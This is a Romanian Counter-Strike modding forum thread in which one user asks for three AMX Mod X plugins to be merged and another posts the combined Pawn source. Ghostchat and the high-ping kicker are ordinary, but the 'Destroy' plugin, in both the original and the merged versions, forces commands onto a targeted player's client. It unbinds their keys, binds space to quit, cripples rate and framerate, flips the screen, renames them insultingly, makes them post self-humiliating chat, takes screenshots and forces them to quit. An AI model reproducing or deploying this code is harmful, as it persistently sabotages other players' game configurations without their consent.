Cerere combinare 3 pluginuri[rezolvat!]

Categoria cu cereri de pluginuri si nu numai.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Accesează link-ul pentru a putea vedea regulile forumului

Daca doriti sa vi se modifice un plugin, va rugam postati aici .
Post Reply
Ice Age
Membru, skill +1
Membru, skill +1
Posts: 141
Joined: 27 Jan 2009, 23:18
Detinator Steam: Nu
CS Status: Ma uit pe cer!
Detinator server CS: NO !
Location: Constanta :D
Has thanked: 13 times
Been thanked: 7 times

25 Dec 2009, 13:17

Destroy | Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <engine>

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "http://..." 

public plugin_init()
{
	register_plugin("Destroy Comand", "1.0", "M@$t3r_@dy")
	register_concmd("amx_destroy", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica CS jucatorului + screenshot")
        register_concmd("admin_destroy" "destroy" "ADMIN_LEVEL_G,"<nume> : Ii strica CS jucatorului + screenshot")
	register_cvar("amx_destroy_activity","1")
}


public destroy(id,level,cid){
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	if (ComandaB){
		Cronometru(id)
		return PLUGIN_HANDLED
	}
	new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
	new fo_logfile[64],timp[64],maxtext[256]
	new tinta[32], minute[8], motiv[64] 
	read_argv(1, tinta, 31)    
	read_argv(2, minute, 7) 
	read_argv(3, motiv, 63)
	read_argv(1, arg, 31)
	new target = cmd_target(id,arg,1)
	new jucator = cmd_target(id, tinta, 9) 
	if (!jucator) 
		return PLUGIN_HANDLED 	
	
	copy(BanData[jucator][0], 31, minute) 
	copy(BanData[jucator][1], 31, motiv) 
	new TaskData[4] 
	TaskData[0] = id 
	TaskData[1] = jucator
	new numeserver[64], nume[32], ip[32] 
	get_user_name(target,name,31)
	get_user_name(id,admin,31)
	get_user_authid(target,sAuthid,34)
	get_user_authid(id,sAuthid2,34)
	get_cvar_string("hostname",numeserver,63); 
	get_user_name(jucator,nume,31); 
	get_user_ip(jucator,ip,31); 
	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)
	IncarcareServer()
	ScriereServer()
	format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
    	format(maxtext, 255, "%s: %s a folosit comanda DESTROY pe %s",timp,admin,name)
    	format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)
	
	if(!target){ 
	
        	return PLUGIN_HANDLED 
    	}
    	switch (get_cvar_num("amx_destroy_activity")) {
    		case 1: client_cmd(target,"say ^" %s mi-a dat DESTROY !^"",admin)
    		case 0: client_cmd(target,"say ^"Am primit DESTROY !^"")
   	}
	client_cmd(target,"developer 1")
  	client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am luat DESTROY .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
    	client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
    	client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
    	client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic *****^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
    	client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"UN MARE DISTRUS^"")
    	client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
    	write_file(fo_logfile,maxtext,-1)
	set_hudmessage(255, 0, 255, 0.55, 0.35, 0, 6.0)
    	show_hudmessage(0, message)
    	client_cmd(0, "spk ^"vox/bizwarn detected user and destroy^"")
    	for (new i = 0; i < inum; ++i) {
    		if ( access(players,ADMIN_CHAT) )
      		 client_print(players,print_chat,"Jucatorul:%s a primit DESTROY de la %s",name,admin)
  	}
  	ComandaB = true
	Cronometru(id)	

	client_print(jucator,print_chat,"* Screenshot a fost facut pe : %s",numeserver) 
	client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	client_print(jucator, print_chat, "* Data : %s",timp) 
	client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
	client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza) 
	console_print(jucator,"* Screenshot a fost facut pe : %s",numeserver) 
	console_print(jucator, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	console_print(jucator, "* Data : %s",timp) 
	console_print(jucator, "* Ai primit ban de la adminul %s",admin)
	console_print(jucator, "* Viziteaza %s pentru a scoate banul.", poza) 
	client_cmd(jucator,"wait;snapshot;wait;snapshot") 
	client_cmd(target,"wait;wait;wait;wait;quit")
  	return PLUGIN_HANDLED
    	
}

public Cronometru(id){
	new parm[1]
	parm[0] = id
	if (ComandaB){
		set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
	}
}
public TimpDeAsteptare(id){
	if (task_exists(Baza+id)){
		remove_task(Baza+id)
	}
	ComandaB = false
}

stock IncarcareServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,r)
  		
		SalvareServer = str_to_num(TextServer)
	}
	return PLUGIN_CONTINUE
}
stock ScriereServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,t)
  		
		
		SalvareServer = str_to_num(TextServer)
		SalvareServer = SalvareServer + 1
		format(TextServer,31,"%i",SalvareServer)
		delete_file(FisierServer)
		write_file(FisierServer,TextServer,-1)
	}
	return PLUGIN_CONTINUE
}
GhostChat | Afiseaza codul
#include <amxmodx>
#include <amxmisc>

// Fisier descarcat de pe http://www.eXtreamCS.com !
// Ghostchat disabled by default
new ghostchat = 3; // Set to let HLTV see alive chat by default.
new gmsgSayText;
new logfilename[256];

// Return current setting or set new value
public handle_ghostchat(id,level,cid) {

    // No switches given
    if (read_argc() < 2) {
        new status[55];
        if (ghostchat == 1) {
            copy(status, 55, "Dead can read alive");
        }
        else if (ghostchat == 2) {
            copy(status, 55, "Dead and alive can read eachother");
        }
        else if (ghostchat == 3) {
            copy(status, 55, "HLTV can read chat of the living");
        }
        else {
            copy(status, 55, "Disabled");
        }
        client_print(id,print_console,"[AMX] Ghostchat status: %s (NOT TEAMSAY)", status);
        if (cmd_access(id,ADMIN_LEVEL_B,cid,0)) 
           client_print(id,print_console,"[AMX] Ghostchat usage: amx_ghostchat 0(disabled), 1(Dead can read alive), 2(Dead and alive can chat), 3(Only HLTV can read alive)");
        return PLUGIN_HANDLED;
    }

    // If you don't have enough rights, you can't change anything
    if (!cmd_access(id,ADMIN_LEVEL_B,cid,0))
        return PLUGIN_HANDLED;
    
    new arg[2];
    read_argv(1,arg,2);

    if (equal(arg,"0",1)) {
        ghostchat = 0;
        client_print(0,print_chat,"[AMX] Ghostchat - Plugin has been disabled");
    }
    else if (equal(arg,"1",1)) {
        ghostchat = 1;
        client_print(0,print_chat,"[AMX] Ghostchat - Dead people can read the chat of the living (NOT TEAMSAY)!");
    }
    else if (equal(arg,"2",1)) {
        ghostchat = 2;
        client_print(0,print_chat,"[AMX] Ghostchat - Dead and living people can talk to eachother (NOT TEAMSAY)!");
    }
    else if (equal(arg,"3",1)) {
        ghostchat = 3;
        client_print(0,print_chat,"[AMX] Ghostchat - HLTV can read chat of the living (NOT TEAMSAY)!");
    }

    new authid[16],name[32];
    get_user_authid(id,authid,16);
    get_user_name(id,name,32);

    log_to_file(logfilename,"Ghostchat: ^"%s<%d><%s><>^" amx_ghostchat %s",name,get_user_userid(id),authid,arg);
    return PLUGIN_HANDLED;
}

public handle_say(id) {
    // If plugin is disabled, skip the code
    if (ghostchat <= 0)
       return PLUGIN_CONTINUE;

    // Gather information
    new is_alive = is_user_alive(id);
    new message[129];
    read_argv(1,message,128);
    new name[33];
    get_user_name(id,name,32);
    new player_count = get_playersnum();
    new players[32];
    get_players(players, player_count, "c");

    // Clients sometimes send empty messages, or a message containig a '[', ignore those.
    if (equal(message,"")) return PLUGIN_CONTINUE;
    if (equal(message,"[")) return PLUGIN_CONTINUE;
 
    // Response to a specific query
    if (containi(message,"[G]") != -1)
        client_print(id,print_chat,"[AMX] Ghostchat - Type amx_ghostchat in console for current status");
    
    // Format the messages, the %c (2) adds the color. The client decides what color
    // it gets by looking at team.
    if (is_alive) format(message, 127, "%c[G]*ALIVE*%s :    %s^n", 2, name, message);
    else format(message, 127, "%c[G]*DEAD*%s :    %s^n", 2, name, message);

    // Check all players wether they should receive the message or not
    for (new i = 0; i < player_count; i++) {

      if (is_alive && !is_user_alive(players)) {
         // Talking person alive, current receiver dead
         if ((ghostchat == 3 && is_user_hltv(players)) || ghostchat <= 2) {
             // Either HLTV mode is enabled and current player is HLTV
             // or one of the other modes is enabled...
             message_begin(MSG_ONE,gmsgSayText,{0,0,0},players);
             write_byte(id);
             write_string(message);
             message_end();
         }
      }
      else if (!is_alive && is_user_alive(players) && ghostchat == 2) {
         // Talking person is dead, current receiver alive
         message_begin(MSG_ONE,gmsgSayText,{0,0,0},players);
         write_byte(id);
         write_string(message);
         message_end();
      }
    }
    return PLUGIN_CONTINUE;
}

public plugin_init() {
    register_plugin("Ghostchat", "0.3", "NetRipper");
    register_clcmd("say", "handle_say");
    register_concmd("amx_ghostchat", "handle_ghostchat",-1,"<mode>");

    gmsgSayText = get_user_msgid("SayText");
    get_time("addons/amx/logs/admin%m%d.log",logfilename,255) 

    return PLUGIN_CONTINUE;
}
HPK | Afiseaza codul
/* AMX Mod script. 
* Fisier descarcat de pe http://www.eXtreamCS.com !
* 
* (c) 2002-2003, OLO 
* modified by shadow
* This file is provided as is (no warranties). 
* 
* Players with immunity won't be checked 
*/ 

#include <amxmodx> 
#include <amxmisc>

new g_Ping[33]
new g_Samples[33]

public plugin_init()
{
  register_plugin("High Ping Kicker (Steam)","0.16.2","OLO/shadow")
  register_concmd("amx_hpk","cmdHpk",ADMIN_KICK,"- configures high_ping_kicker plugin")
  register_cvar("amx_hpk_ping","200")
  register_cvar("amx_hpk_check","12")
  register_cvar("amx_hpk_tests","5")
  register_cvar("amx_hpk_delay","60")
  
  if ( get_cvar_num( "amx_hpk_check" ) < 5 ) set_cvar_num( "amx_hpk_check" , 5 )
  if ( get_cvar_num( "amx_hpk_tests" ) < 3 ) set_cvar_num( "amx_hpk_tests" , 3 )
}

public client_disconnect(id) 
  remove_task( id )

public client_putinserver(id) 
{    
  g_Ping[id] = 0 
  g_Samples[id] = 0

  if ( !is_user_bot(id) ) 
  {
    new param[1]
    param[0] = id 
    set_task( 10.0 , "showWarn" , id , param , 1 )
    
    if (get_cvar_num("amx_hpk_tests") != 0) {
	    set_task( float(get_cvar_num("amx_hpk_delay")), "taskSetting", id, param , 1)
    }
    else {	    
    	set_task( float(get_cvar_num( "amx_hpk_tests" )) , "checkPing" , id , param , 1 , "b" )
	}
	
  }
} 

public showWarn(param[])
  client_print( param[0] ,print_chat,"* Players with ping higher than %d will be kicked!", get_cvar_num( "amx_hpk_ping" ) )

public taskSetting(param[]) {
	new name[32]
	get_user_name(param[0],name,31)
	set_task( float(get_cvar_num( "amx_hpk_tests" )) , "checkPing" , param[0] , param , 1 , "b" )
}

kickPlayer( id ) 
{ 
  new name[32],authid[32]
  get_user_name(id,name,31)
  get_user_authid(id,authid,31)
  client_print(0,print_chat,"** Player %s disconnected due to high ping",name)
  server_cmd("kick #%d ^"Sorry but you have too high ping, try later...^"",get_user_userid(id))
  log_amx("Highpingkick: ^"%s<%d><%s>^" was kicked due highping (Average Ping ^"%d^")", name,get_user_userid(id),authid,(g_Ping[id] / g_Samples[id]))
}

public checkPing(param[]) 
{ 
  new id = param[ 0 ] 

  if ( get_user_flags(id) & ADMIN_IMMUNITY ) return

  new p, l 

  get_user_ping( id , p , l ) 

  g_Ping[ id ] += p
  ++g_Samples[ id ]

  if ( (g_Samples[ id ] > get_cvar_num( "amx_hpk_tests" )) && (g_Ping[id] / g_Samples[id] > get_cvar_num( "amx_hpk_ping" ))  )    
    kickPlayer(id) 
}

  
public cmdHpk(id,level,cid){
  if (!cmd_access(id,level,cid,1))
    return PLUGIN_HANDLED
    
  new ping[5]
  new check_arr[5]
  new tests_arr[5]
  new delay_arr[5]
  read_argv(1,ping,4)
  read_argv(2,check_arr,4)
  read_argv(3,tests_arr,4)
  read_argv(4,delay_arr,4)
  
  new check = str_to_num(check_arr)
  new tests = str_to_num(tests_arr)
  new delay = str_to_num(delay_arr)
  
  
  if ( check < 5 ) check = 5
  if ( tests < 3 ) tests = 3
  

  if (read_argc() > 1){
    set_cvar_string("amx_hpk_ping",ping)
  }
  if (read_argc() > 2) {
	set_cvar_num("amx_hpk_check",check)
  }
  if (read_argc() > 3) {
	set_cvar_num("amx_hpk_tests",tests)
  }
  if (read_argc() > 4) {
	  set_cvar_num("amx_hpk_delay",delay)
 }

  console_print(id,"Syntax: amx_hpk <ping to get kicked> <checks before kicks> <time between checks> <delay before first check in sec.>")
  console_print(id,"Current High_Ping_Kicker Settings:")
  console_print(id,"Maxping: %d  Time between checks: %d Checkcount: %d Delay: %d",get_cvar_num("amx_hpk_ping"),get_cvar_num("amx_hpk_check"),get_cvar_num("amx_hpk_tests"),get_cvar_num("amx_hpk_delay"))
  return PLUGIN_HANDLED    
}

Daca mi le puteti combina va rog [-o<

Code: Select all

if  ( i_help_you ("Yes") == 1 )
#define NICK = Ice Age 2
#define Y!M = [email protected]
#define MOD = IceModX
Image
Kekshost
User avatar
H3adShoT
Membru, skill +3
Membru, skill +3
Posts: 1254
Joined: 03 May 2009, 19:19
Detinator Steam: Da
CS Status: Nu mai incercati sa-mi furati contul!
Detinator server CS: Nimic
SteamID: PM
Reputatie: Restrictie moderator
Location: Hunedoara
Has thanked: 47 times
Been thanked: 92 times
Contact:

25 Dec 2009, 14:08

poftim | Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <engine>

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "http://..." 

new g_Ping[33]
new g_Samples[33]

// Fisier descarcat de pe http://www.eXtreamCS.com !
// Ghostchat disabled by default
new ghostchat = 3; // Set to let HLTV see alive chat by default.
new gmsgSayText;
new logfilename[256];

// Return current setting or set new value
public handle_ghostchat(id,level,cid) {

    // No switches given
    if (read_argc() < 2) {
        new status[55];
        if (ghostchat == 1) {
            copy(status, 55, "Dead can read alive");
        }
        else if (ghostchat == 2) {
            copy(status, 55, "Dead and alive can read eachother");
        }
        else if (ghostchat == 3) {
            copy(status, 55, "HLTV can read chat of the living");
        }
        else {
            copy(status, 55, "Disabled");
        }
        client_print(id,print_console,"[AMX] Ghostchat status: %s (NOT TEAMSAY)", status);
        if (cmd_access(id,ADMIN_LEVEL_B,cid,0)) 
           client_print(id,print_console,"[AMX] Ghostchat usage: amx_ghostchat 0(disabled), 1(Dead can read alive), 2(Dead and alive can chat), 3(Only HLTV can read alive)");
        return PLUGIN_HANDLED;
    }

    // If you don't have enough rights, you can't change anything
    if (!cmd_access(id,ADMIN_LEVEL_B,cid,0))
        return PLUGIN_HANDLED;
    
    new arg[2];
    read_argv(1,arg,2);

    if (equal(arg,"0",1)) {
        ghostchat = 0;
        client_print(0,print_chat,"[AMX] Ghostchat - Plugin has been disabled");
    }
    else if (equal(arg,"1",1)) {
        ghostchat = 1;
        client_print(0,print_chat,"[AMX] Ghostchat - Dead people can read the chat of the living (NOT TEAMSAY)!");
    }
    else if (equal(arg,"2",1)) {
        ghostchat = 2;
        client_print(0,print_chat,"[AMX] Ghostchat - Dead and living people can talk to eachother (NOT TEAMSAY)!");
    }
    else if (equal(arg,"3",1)) {
        ghostchat = 3;
        client_print(0,print_chat,"[AMX] Ghostchat - HLTV can read chat of the living (NOT TEAMSAY)!");
    }

    new authid[16],name[32];
    get_user_authid(id,authid,16);
    get_user_name(id,name,32);

    log_to_file(logfilename,"Ghostchat: ^"%s<%d><%s><>^" amx_ghostchat %s",name,get_user_userid(id),authid,arg);
    return PLUGIN_HANDLED;
}

public handle_say(id) {
    // If plugin is disabled, skip the code
    if (ghostchat <= 0)
       return PLUGIN_CONTINUE;

    // Gather information
    new is_alive = is_user_alive(id);
    new message[129];
    read_argv(1,message,128);
    new name[33];
    get_user_name(id,name,32);
    new player_count = get_playersnum();
    new players[32];
    get_players(players, player_count, "c");

    // Clients sometimes send empty messages, or a message containig a '[', ignore those.
    if (equal(message,"")) return PLUGIN_CONTINUE;
    if (equal(message,"[")) return PLUGIN_CONTINUE;
 
    // Response to a specific query
    if (containi(message,"[G]") != -1)
        client_print(id,print_chat,"[AMX] Ghostchat - Type amx_ghostchat in console for current status");
    
    // Format the messages, the %c (2) adds the color. The client decides what color
    // it gets by looking at team.
    if (is_alive) format(message, 127, "%c[G]*ALIVE*%s :    %s^n", 2, name, message);
    else format(message, 127, "%c[G]*DEAD*%s :    %s^n", 2, name, message);

    // Check all players wether they should receive the message or not
    for (new i = 0; i < player_count; i++) {

      if (is_alive && !is_user_alive(players)) {
         // Talking person alive, current receiver dead
         if ((ghostchat == 3 && is_user_hltv(players)) || ghostchat <= 2) {
             // Either HLTV mode is enabled and current player is HLTV
             // or one of the other modes is enabled...
             message_begin(MSG_ONE,gmsgSayText,{0,0,0},players);
             write_byte(id);
             write_string(message);
             message_end();
         }
      }
      else if (!is_alive && is_user_alive(players) && ghostchat == 2) {
         // Talking person is dead, current receiver alive
         message_begin(MSG_ONE,gmsgSayText,{0,0,0},players);
         write_byte(id);
         write_string(message);
         message_end();
      }
    }
    return PLUGIN_CONTINUE;
}

public plugin_init() {
    register_plugin("Ghostchat", "0.3", "NetRipper");
    register_clcmd("say", "handle_say");
    register_concmd("amx_ghostchat", "handle_ghostchat",-1,"<mode>");
    register_concmd("amx_hpk","cmdHpk",ADMIN_KICK,"- configures high_ping_kicker plugin")
    register_cvar("amx_hpk_ping","200")
    register_cvar("amx_hpk_check","12")
    register_cvar("amx_hpk_tests","5")
    register_cvar("amx_hpk_delay","60")
    register_concmd("amx_destroy", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica CS jucatorului + screenshot")
    register_cvar("amx_destroy_activity","1")

  
    if ( get_cvar_num( "amx_hpk_check" ) < 5 ) set_cvar_num( "amx_hpk_check" , 5 )
    if ( get_cvar_num( "amx_hpk_tests" ) < 3 ) set_cvar_num( "amx_hpk_tests" , 3 )

    gmsgSayText = get_user_msgid("SayText");
    get_time("addons/amx/logs/admin%m%d.log",logfilename,255) 

    return PLUGIN_CONTINUE;
}

public client_disconnect(id) 
  remove_task( id )

public client_putinserver(id) 
{    
  g_Ping[id] = 0 
  g_Samples[id] = 0

  if ( !is_user_bot(id) ) 
  {
    new param[1]
    param[0] = id 
    set_task( 10.0 , "showWarn" , id , param , 1 )
    
    if (get_cvar_num("amx_hpk_tests") != 0) {
	    set_task( float(get_cvar_num("amx_hpk_delay")), "taskSetting", id, param , 1)
    }
    else {	    
    	set_task( float(get_cvar_num( "amx_hpk_tests" )) , "checkPing" , id , param , 1 , "b" )
	}
	
  }
} 

public showWarn(param[])
  client_print( param[0] ,print_chat,"* Players with ping higher than %d will be kicked!", get_cvar_num( "amx_hpk_ping" ) )

public taskSetting(param[]) {
	new name[32]
	get_user_name(param[0],name,31)
	set_task( float(get_cvar_num( "amx_hpk_tests" )) , "checkPing" , param[0] , param , 1 , "b" )
}

kickPlayer( id ) 
{ 
  new name[32],authid[32]
  get_user_name(id,name,31)
  get_user_authid(id,authid,31)
  client_print(0,print_chat,"** Player %s disconnected due to high ping",name)
  server_cmd("kick #%d ^"Sorry but you have too high ping, try later...^"",get_user_userid(id))
  log_amx("Highpingkick: ^"%s<%d><%s>^" was kicked due highping (Average Ping ^"%d^")", name,get_user_userid(id),authid,(g_Ping[id] / g_Samples[id]))
}

public checkPing(param[]) 
{ 
  new id = param[ 0 ] 

  if ( get_user_flags(id) & ADMIN_IMMUNITY ) return

  new p, l 

  get_user_ping( id , p , l ) 

  g_Ping[ id ] += p
  ++g_Samples[ id ]

  if ( (g_Samples[ id ] > get_cvar_num( "amx_hpk_tests" )) && (g_Ping[id] / g_Samples[id] > get_cvar_num( "amx_hpk_ping" ))  )    
    kickPlayer(id) 
}

  
public cmdHpk(id,level,cid){
  if (!cmd_access(id,level,cid,1))
    return PLUGIN_HANDLED
    
  new ping[5]
  new check_arr[5]
  new tests_arr[5]
  new delay_arr[5]
  read_argv(1,ping,4)
  read_argv(2,check_arr,4)
  read_argv(3,tests_arr,4)
  read_argv(4,delay_arr,4)
  
  new check = str_to_num(check_arr)
  new tests = str_to_num(tests_arr)
  new delay = str_to_num(delay_arr)
  
  
  if ( check < 5 ) check = 5
  if ( tests < 3 ) tests = 3
  

  if (read_argc() > 1){
    set_cvar_string("amx_hpk_ping",ping)
  }
  if (read_argc() > 2) {
	set_cvar_num("amx_hpk_check",check)
  }
  if (read_argc() > 3) {
	set_cvar_num("amx_hpk_tests",tests)
  }
  if (read_argc() > 4) {
	  set_cvar_num("amx_hpk_delay",delay)
 }

  console_print(id,"Syntax: amx_hpk <ping to get kicked> <checks before kicks> <time between checks> <delay before first check in sec.>")
  console_print(id,"Current High_Ping_Kicker Settings:")
  console_print(id,"Maxping: %d  Time between checks: %d Checkcount: %d Delay: %d",get_cvar_num("amx_hpk_ping"),get_cvar_num("amx_hpk_check"),get_cvar_num("amx_hpk_tests"),get_cvar_num("amx_hpk_delay"))
  return PLUGIN_HANDLED    
}

public destroy(id,level,cid){
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	if (ComandaB){
		Cronometru(id)
		return PLUGIN_HANDLED
	}
	new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
	new fo_logfile[64],timp[64],maxtext[256]
	new tinta[32], minute[8], motiv[64] 
	read_argv(1, tinta, 31)    
	read_argv(2, minute, 7) 
	read_argv(3, motiv, 63)
	read_argv(1, arg, 31)
	new target = cmd_target(id,arg,1)
	new jucator = cmd_target(id, tinta, 9) 
	if (!jucator) 
		return PLUGIN_HANDLED 	
	
	copy(BanData[jucator][0], 31, minute) 
	copy(BanData[jucator][1], 31, motiv) 
	new TaskData[4] 
	TaskData[0] = id 
	TaskData[1] = jucator
	new numeserver[64], nume[32], ip[32] 
	get_user_name(target,name,31)
	get_user_name(id,admin,31)
	get_user_authid(target,sAuthid,34)
	get_user_authid(id,sAuthid2,34)
	get_cvar_string("hostname",numeserver,63); 
	get_user_name(jucator,nume,31); 
	get_user_ip(jucator,ip,31); 
	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)
	IncarcareServer()
	ScriereServer()
	format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
    	format(maxtext, 255, "[AMXX] %s: %s a folosit comanda DESTROY pe %s",timp,admin,name)
    	format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)
	
	if(!target){ 
	
        	return PLUGIN_HANDLED 
    	}
    	switch (get_cvar_num("amx_destroy_activity")) {
    		case 1: client_cmd(target,"say ^" %s mi-a dat DESTROY !^"",admin)
    		case 0: client_cmd(target,"say ^"Am primit DESTROY !^"")
   	}
	client_cmd(target,"developer 1")
  	client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am luat DESTROY pe BERCENI.SERVEGAME.COM .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
    	client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
    	client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
    	client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic *****^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
    	client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"UN MARE DISTRUS^"")
    	client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
    	write_file(fo_logfile,maxtext,-1)
	set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
    	show_hudmessage(0, message)
    	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")
    	for (new i = 0; i < inum; ++i) {
    		if ( access(players,ADMIN_CHAT) )
      		 client_print(players,print_chat,"[BERCENI]Jucatorul:%s a primit DESTROY de la %s",name,admin)
  	}
  	ComandaB = true
	Cronometru(id)	

	client_print(jucator,print_chat,"* Screenshot a fost facut pe : %s",numeserver) 
	client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	client_print(jucator, print_chat, "* Data : %s",timp) 
	client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
	client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza) 
	console_print(jucator,"* Screenshot a fost facut pe : %s",numeserver) 
	console_print(jucator, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	console_print(jucator, "* Data : %s",timp) 
	console_print(jucator, "* Ai primit ban de la adminul %s",admin)
	console_print(jucator, "* Viziteaza %s pentru a scoate banul.", poza) 
	client_cmd(jucator,"wait;snapshot;wait;snapshot") 
	client_cmd(target,"wait;wait;wait;wait;quit")
  	return PLUGIN_HANDLED
    	
}

public Cronometru(id){
	new parm[1]
	parm[0] = id
	if (ComandaB){
		set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
	}
}
public TimpDeAsteptare(id){
	if (task_exists(Baza+id)){
		remove_task(Baza+id)
	}
	ComandaB = false
}

stock IncarcareServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,r)
  		
		SalvareServer = str_to_num(TextServer)
	}
	return PLUGIN_CONTINUE
}
stock ScriereServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,t)
  		
		
		SalvareServer = str_to_num(TextServer)
		SalvareServer = SalvareServer + 1
		format(TextServer,31,"%i",SalvareServer)
		delete_file(FisierServer)
		write_file(FisierServer,TextServer,-1)
	}
	return PLUGIN_CONTINUE
}


ps:vezi ca amx_destroy ce mi l-ai dat tu nu era bun am luat altul ;)
Retras din activitate.
Ice Age
Membru, skill +1
Membru, skill +1
Posts: 141
Joined: 27 Jan 2009, 23:18
Detinator Steam: Nu
CS Status: Ma uit pe cer!
Detinator server CS: NO !
Location: Constanta :D
Has thanked: 13 times
Been thanked: 7 times

25 Dec 2009, 14:35

ms mult
+1 bit thx.

Code: Select all

if  ( i_help_you ("Yes") == 1 )
#define NICK = Ice Age 2
#define Y!M = [email protected]
#define MOD = IceModX
Image
Post Reply

Return to “Cereri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 0 guests